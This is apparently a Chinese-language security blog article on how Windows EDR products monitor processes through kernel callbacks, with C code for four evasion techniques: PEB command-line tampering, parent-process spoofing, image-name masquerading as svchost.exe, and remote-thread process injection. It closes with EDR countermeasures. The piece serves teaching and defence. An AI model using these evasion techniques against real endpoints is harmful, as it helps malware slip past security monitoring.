在 Windows 安全领域,不少开发者或安全研究者会遇到一个问题:自己编写的程序(甚至是用于测试的样本)一启动就被 EDR(端点检测响应)工具拦截。这背后,EDR 的“火眼金睛”并非凭空而来,而是依赖 Windows 系统赋予的特殊权限 —— 回调机制。今天我们就从原理到实践,拆解 EDR 的工作逻辑,以及常见的规避思路,最后再聊聊现代 EDR 的防御升级。
一、EDR 的“眼线”:回调例程如何监控进程?
很多人疑惑,为什么 EDR 能精准捕捉到刚启动的程序?核心原因在于 Windows 为安全软件开放了“通知接口”,也就是 回调例程(Callback Routine) 。我们可以用一个通俗的比喻理解:如果把 Windows 系统比作一座工厂,你的代码是工厂里的工人,EDR 就是工厂派驻的安全检查员,而回调例程就是检查员的“固定岗哨”。
只要工厂里发生关键事件(比如新工人入职、新生产线启动),检查员就会第一时间收到通知 —— 这就是 EDR 能“提前拦截”的关键。
1.1 回调例程的工作原理:从注册到通知
Windows 系统中有多个“关键通知点(Notification Points)”,EDR 的驱动程序会通过系统 API 向这些节点注册回调函数。以最核心的“进程创建通知”为例,其简化的实现逻辑如下:
// 定义进程创建通知的回调函数格式
typedef VOID (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
    HANDLE ProcessId,       // 新进程 ID
    HANDLE CreatorProcessId,// 父进程 ID
    BOOLEAN Create          // 是否为创建操作
);
// EDR 驱动向 Windows 注册回调
PsSetCreateProcessNotifyRoutine(
    EdmProcessNotifyRoutine,  // EDR 自定义的回调函数
    FALSE                     // 设为 FALSE 表示“注册”,TRUE 表示“删除”);
当你执行 CreateProcessA 或CreateProcessW创建新进程时,Windows 会自动触发 EDR 注册的回调函数,并传递 3 类关键信息:
- 新进程的 ID 和父进程 ID;
- 进程在磁盘上的完整路径;
- 进程启动时的命令行参数。
更关键的是,这个通知发生在 进程实际执行代码之前—— 相当于程序还没“睁开眼”,就已经被 EDR“扫描全身”了。
1.2 除了进程,EDR 还监控线程:更隐蔽的“岗哨”
如果说“进程创建通知”是 EDR 的第一道防线,那“线程创建通知”就是第二道更隐蔽的监控。毕竟很多高级攻击不会创建新进程,而是在现有合法进程中注入线程(比如在 explorer.exe 中运行恶意代码),此时线程回调就能发挥作用。
线程回调的注册逻辑与进程类似,只需通过 PsSetCreateThreadNotifyRoutine 注册自定义函数,当任何进程创建新线程时,EDR 都会收到ProcessId(所属进程 ID)和ThreadId(线程 ID)的通知 —— 这意味着即使不新建进程,单纯的线程注入也会被 EDR 捕捉。
二、3 类经典 EDR 规避方案:从“掩人耳目”到“借壳生蛋”
了解了 EDR 的监控逻辑后,安全研究者会针对性地设计规避方案。这些方案的核心思路一致:利用 EDR 的“观察盲点”,修改其获取的关键信息,或绕开其监控节点。以下是 3 类最常见的实践方案,均附核心实现逻辑。
2.1 命令行篡改:修改 PEB 中的“身份信息”
EDR 获取进程命令行的核心来源,是 Windows 的  进程环境块(PEB,Process Environment Block) 。PEB 中存储了进程的关键参数,其中 RTL_USER_PROCESS_PARAMETERS 结构体的 CommandLine 字段,就是 EDR 读取的“命令行原文”。
规避思路很直接:在进程启动后,修改 PEB 中 CommandLine 的内容,让 EDR 后续读取时看到虚假信息。核心代码如下:
#include <windows.h>
#include <stdio.h>
// 定义 PEB 相关结构体(简化版)typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    // 省略其他字段...
    UNICODE_STRING CommandLine;  // 待修改的命令行字段
} RTL_USER_PROCESS_PARAMETERS;
int main() {
    // 64 位系统中,通过 GS 寄存器偏移 0x60 获取 PEB 地址
    PPEB peb = (PPEB)__readgsqword(0x60);
    RTL_USER_PROCESS_PARAMETERS* params = (RTL_USER_PROCESS_PARAMETERS*)peb->ProcessParameters;
    
    // 将恶意命令行伪装成系统进程命令行
    wcscpy_s(params->CommandLine.Buffer, 
             params->CommandLine.MaximumLength, 
             L"C:\\Windows\\System32\\svchost.exe -k netsvcs");
    return 0;
}
注意:这种方案有明显局限性 —— 现代 EDR 会在回调触发时(进程创建初期)就记录命令行,后续修改 PEB 的操作“为时已晚”,仅对部分旧版本 EDR 有效。
2.2 父进程 ID(PPID)欺骗:让恶意进程“认对爹”
EDR 在判断进程是否可疑时,会关注“父进程身份”。比如一个 notepad.exe 突然创建了一个未知进程,EDR 会标记为高风险;但如果这个未知进程的父进程是explorer.exe(系统桌面进程)或svchost.exe(系统服务进程),就会显得“合理”很多。
PPID 欺骗的核心是:创建恶意进程时,通过 Windows 的扩展启动属性,将其“父进程”伪装成合法系统进程。核心代码如下:
#include <windows.h>
#include <tlhelp32.h>
// 辅助函数:根据进程名获取进程句柄
HANDLE GetProcessHandle(const char* targetName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32A pe = {sizeof(pe)};
    while (Process32NextA(hSnapshot, &pe)) {if (strcmp(pe.szExeFile, targetName) == 0) {CloseHandle(hSnapshot);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
        }
    }
    CloseHandle(hSnapshot);
    return NULL;
}
int main() {STARTUPINFOEXA siex = {0};
    SIZE_T attrSize = 0;
    PROCESS_INFORMATION pi = {0};
    // 初始化进程属性列表
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attrSize);
    // 获取 explorer.exe 的句柄(伪装成父进程)HANDLE hParent = GetProcessHandle("explorer.exe");
    // 设置“父进程”属性
    UpdateProcThreadAttribute(
        siex.lpAttributeList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 关键属性:父进程
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL
    );
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    // 创建恶意进程,使用扩展属性(伪装父进程)CreateProcessA(
        "C:\\test\\evil.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,  // 启用扩展启动信息
        NULL,
        NULL,
        &siex.StartupInfo,
        &pi
    );
    // 释放资源
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    free(siex.lpAttributeList);
    return 0;
}
这种方案的优势是“伪装度高”,EDR 看到的父进程是系统合法进程,初期不易触发告警。但如果后续进程行为异常(比如连接恶意 IP),仍会被 EDR 的行为分析捕捉。
2.3 进程镜像修改:给恶意进程“换个名字”
EDR 识别进程的另一关键依据是 进程镜像(Process Image) —— 即进程对应的磁盘二进制文件路径和名称。如果能修改内存中记录的镜像信息,就能让 EDR“认错进程”。
进程镜像信息存储在 PEB 的 PEB_LDR_DATA 结构体中,其中 LDR_MODULE 的BaseDllName(文件名)和FullDllName(完整路径)是核心字段。修改这两个字段,就能实现“换名”效果:
#include <windows.h>
// 定义 PEB_LDR_DATA 和 LDR_MODULE 结构体(简化版)typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;  // 模块列表
    // 省略其他字段...
} PEB_LDR_DATA;
typedef struct _LDR_MODULE {
    LIST_ENTRY InLoadOrderModuleList;
    PVOID BaseAddress;  // 模块基地址
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;  // 完整路径
    UNICODE_STRING BaseDllName;  // 文件名
    // 省略其他字段...
} LDR_MODULE;
int main() {
    // 获取当前进程的 PEB
    PPEB peb = (PPEB)__readgsqword(0x60);
    PEB_LDR_DATA* ldr = (PEB_LDR_DATA*)peb->Ldr;
    // 获取进程的主模块(第一个模块)LDR_MODULE* mainModule = (LDR_MODULE*)ldr->InLoadOrderModuleList.Flink;
    // 将恶意进程名伪装成 svchost.exe
    wcscpy_s(mainModule->BaseDllName.Buffer, 
             mainModule->BaseDllName.MaximumLength, 
             L"svchost.exe");
    // 将路径伪装成系统路径
    wcscpy_s(mainModule->FullDllName.Buffer,
             mainModule->FullDllName.MaximumLength,
             L"C:\\Windows\\System32\\svchost.exe");
    
    return 0;
}
关键逻辑:EDR 扫描进程时,会优先读取 PEB 中的镜像信息;如果在进程启动初期就修改这些字段,EDR 看到的就是“假身份”。但现代 EDR 会结合“代码完整性检查”(对比内存代码与磁盘文件),单纯改名字很容易被识破。
三、终极大招:进程注入(Process Injection),绕开进程创建监控
前面 3 种方案有一个共同缺陷:都需要创建新进程,而新进程启动时必然触发 EDR 的“进程创建回调”—— 只是通过伪装降低了告警概率。有没有办法完全绕开进程创建监控?答案是 进程注入:不新建进程,而是将恶意代码注入到已有的合法进程中执行。
其中“Fork & Run”是最经典的注入方式,核心步骤分为 5 步:
3.1 Fork & Run 注入的实现逻辑
#include <windows.h>
// 假设这是待注入的恶意代码(示例:弹出消息框)void maliciousCode() {MessageBoxA(NULL, "Injected Success!", "Notice", MB_OK);
}
int main() {STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);
    // 步骤 1:创建“傀儡进程”(svchost.exe),并设为挂起状态
    CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",  // 合法系统进程
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,  // 关键:进程创建后暂停,不执行代码
        NULL,
        NULL,
        &si,
        &pi
    );
    // 步骤 2:在傀儡进程中分配可执行内存
    PVOID remoteMem = VirtualAllocEx(
        pi.hProcess,
        NULL,
        sizeof(maliciousCode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE  // 内存权限:可执行、可读、可写
    );
    // 步骤 3:将恶意代码写入傀儡进程的内存
    WriteProcessMemory(
        pi.hProcess,
        remoteMem,
        maliciousCode,
        sizeof(maliciousCode),
        NULL
    );
    // 步骤 4:在傀儡进程中创建远程线程,执行恶意代码
    CreateRemoteThread(
        pi.hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );
    // 步骤 5:唤醒傀儡进程,使其继续执行(此时恶意代码已注入)ResumeThread(pi.hThread);
    // 释放资源
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}
3.2 为什么注入难以拦截?
从 EDR 的视角来看,整个过程几乎“无异常”:
- 进程创建阶段:看到的是 svchost.exe启动(系统合法进程,无告警);
- 线程创建阶段:看到 svchost.exe中新建线程(系统进程新建线程很常见,低风险);
- 代码执行阶段:EDR 无法直接判断线程执行的是“合法代码”还是“注入的恶意代码”。
这就像“伪装成快递员进入小区,再从小区内部发起行动”—— 初期的身份验证通过,后续行为就需要更细致的监控才能识别。
四、现代 EDR 的防御升级:不再依赖“表面信息”
面对层出不穷的规避方案,现代 EDR 早已不是“看名字、看父进程”的初级阶段,而是通过 多层次、多维度的监控 构建防御体系,主要包括 3 类核心措施:
4.1 代码完整性检查(Code Integrity)
EDR 会对比进程内存中的代码与磁盘文件的哈希值、签名信息。比如注入到 svchost.exe 的恶意代码,其内存区域的哈希与磁盘上 svchost.exe 的哈希不一致,EDR 会直接标记为“可疑”。部分 EDR 还会启用“强制代码完整性(Enforced Code Integrity)”,只允许经过签名的代码在内存中执行。
4.2 行为分析(Behavioral Analysis)
无论伪装得多好,恶意代码最终会暴露“恶意行为”。EDR 会监控进程的动态行为,比如:
- 异常文件操作:在 C:\\Windows\\System32目录写入非系统文件;
- 可疑网络连接:连接已知恶意 IP、发起反向 Shell;
- 敏感注册表修改:修改HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run(开机启动项);
- 权限提升尝试:调用 AdjustTokenPrivileges获取管理员权限。
一个“伪装成 svchost.exe”的进程,如果频繁执行上述行为,EDR 会触发高风险告警。
4.3 全层级监控:从用户态到内核态
传统 EDR 主要监控用户态 API 调用,而现代 EDR 会深入到内核态,直接监控系统调用(Syscall)。同时结合网络层(监控异常流量)、文件系统层(监控可疑文件读写)、注册表层(监控敏感键值修改),形成“立体防御网”—— 即使在用户态绕开了进程监控,也会在内核态或网络层被捕捉。
五、总结:EDR 与规避技术的“猫鼠游戏”
Windows EDR 与规避技术的对抗,本质是“信息差”的博弈:
- EDR 的优势在于“深度访问权限”:通过回调例程、内核态监控,获取进程启动、线程创建的早期信息;
- 规避技术的核心是“利用盲点”:修改 EDR 读取的表面信息(命令行、PPID、镜像名),或绕开监控节点(进程注入);
- 现代 EDR 的破局点是“多维验证”:不再依赖单一信息,而是通过代码完整性、行为分析、全层级监控,消除“盲点”。
对于安全研究者而言,理解这套逻辑有 3 个核心价值:
- 设计防护方案时,避免“单点防御”,优先构建多层次监控;
- 做威胁检测时,能识别“伪装行为”背后的异常(比如 PPID 异常、代码哈希不匹配);
- 红队演练时,能更精准地评估 EDR 的防御边界,避免无效规避。
最终要明确:没有“万能的规避方案”,也没有“永不失效的 EDR”。这场“猫鼠游戏”的终点,永远是更完善的防御体系和更深入的原理理解。



